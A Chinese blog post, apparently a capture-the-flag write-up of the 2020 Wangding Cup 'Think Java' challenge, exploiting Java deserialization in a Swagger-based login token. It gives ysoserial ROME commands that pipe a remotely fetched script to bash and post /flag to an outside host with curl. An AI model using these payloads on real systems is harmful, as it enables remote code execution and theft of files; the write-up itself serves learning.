[网鼎杯 2020 朱雀组]Think Java

前言

目前算是取得了不错的进展。但此题必有玄机。2

这就是朱雀组31解的题🐎,tqllllllllllll。

下面是目前的成果,但是我还是没能拿到flag……菜,枯了。3

2

进入正题

下方截图算是hint , 当然对于没有用过swagger-ui的 ,还是不算hint的叭(我都是问的大佬)。

image-20200519023407914

他是一个测试接口,我本来分享了swagger-ui的链接来着,但是现在那个链接好像被访问炸了。

(我在文章中已经把链接删了……考虑不周,复现的时候就只能看着没有回显的靶机,炒鸡难受)。

因为就是套的swagger-ui,所以他的路由都不会变,本题只给出一个接口的原因八成就是这个意思。

我就删了,如下是我们得到的mysql字段的具体作用。

/user/login,登录获得token

先给出当时测试的截图(大佬截给我的)。

12

流程的分析:

此login接口用来模拟登录,登录成功后可以获得一串data数据。部分数据可参考上图箭头所指。

下面做题得时候,用post传参的截图(看到登录成功的时候,还是很开心的)。

image-20200519024802106

image-20200519025048416

可以参考这段json数据。

{
	"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
	"msg": "登录成功",
	"status": 2,
	"timestamps": 1589814544730
}

对token数据进行处理分析

第一步,提取出序列化的数据

data对应的一串字符是Bearer token。

这串数据需要先base64,然后转成16进制。不要复制出来base64的内容再转16进制,直接用python2一步到位。

#此处使用python2
import base64
a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
b = base64.b64decode(a).encode('hex')
print(b)

我一下午看了很多文章,有两点很重要。

下方的特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

我的部分运行结果参考(aced开头)。

image-20200519030301974

第二步,分析序列化数据

用到工具SerializationDumper来解析数据

用法:

 java -jar SerializationDumper-[*version*].jar [*16进制数据*)]

输出的详细的字段代表的内容,一知半解也就不掺和了 。

详细的字段分析请参考:https://dy.163.com/v2/article/detail/DMAD0T6P05119F6V.html

(运行结果截图)

image-20200519024638824

最下方有这样一段包含着admin字段,它就相当于保存着实质信息的数据块。

admin就是用户名。(我是这么认为)

image-20200519031101823

寻找反序列化注入点

我们上一步已经大致分析了data数据。

理一下思路:

登录---》获得token---》token中data的数据是一段间接的序列化字段。

这时候,

当我把序列化的token字段作为Authorization去印证这个UI的user/current接口。

他也会显示成功登录。

这说明,他会在current接口进行反序列化!

那么我们可以构造合适的序列化内容来构造getshell。

如何构造

java反序列化工具ysoserial

github地址:https://github.com/frohoff/ysoserial

ysoserial用法:以ROME和URLDNS举例

即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。

java -jar ysoserial-master.jar ROME "calc.exe" > h3zh1.bin

java -jar ysoserial-master.jar URLDNS "http://xxx" > h3zh1.bin

然后要对他们进行数据处理。

下方程序python2或python3都可。

import base64
file = open("h3zh1.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print(ba)
#print("Bearer "+ba) #可以解注释此段,并注释上一条print,便于快速测试
file.close()

注意检查输出的内容啊是否是rO0AB,如果差的很多,那么往回去看看叭。
如果看着差不多是合格的数据,那么注进去看看回显叭。
(要把结果弹到自己的机器上哇)

脑壳疼

我弹shell的时候没有成功,很难受。测试了好几个都没成,难受死了。

我的废柴payload:

java -jar ysoserial-master.jar ROME "curl http://xxx.xxx.xxx/shell.txt|bash" > h3zh1.bin

最近的一步就是可以检测到curl的执行。又卡住了,不过差不多也算完结了吧。

眼睁睁看着三位大佬一个个把题Kill了,自闭了,早上起来了去请教他们叭……。

睡觉。。。。。。。

2


end

(各种payload测试加研究打了无数遍,枯了)

终于有了大佬救了我(写完题了,再去好好研究一下工具和序列化叭),感谢byc_404师傅教我新姿势,太感谢了

java -jar ysoserial-master.jar ROME "curl http://xxx -d @/flag" > h3zh1.bin

学到新姿势,bingo。

参考链接:

基础反序列化Gadgets集合:https://github.com/frohoff/ysoserial,里面包含了目前已知的来自jdk以及常用libs的反序列化Gadgets,如CommonsCollections、Groovy等,具体的POP链可以在ysoserial工具payloads目录下各自的利用代码中看到,也可以直接在其main函数中进行调试。

https://dy.163.com/v2/article/detail/DMAD0T6P05119F6V.html

JRE8u20反序列化漏洞分析

http://www.sfishlost.com/index.php/2020/01/05/java-deserialization-summary/

https://www.anquanke.com/post/id/200892

Java 反序列化回显的多种姿势 https://xz.aliyun.com/t/7740

https://blog.csdn.net/fnmsd/article/details/79534877

posted @ 2020-05-19 03:54  何止(h3zh1)  阅读(2867)  评论(1编辑  收藏  举报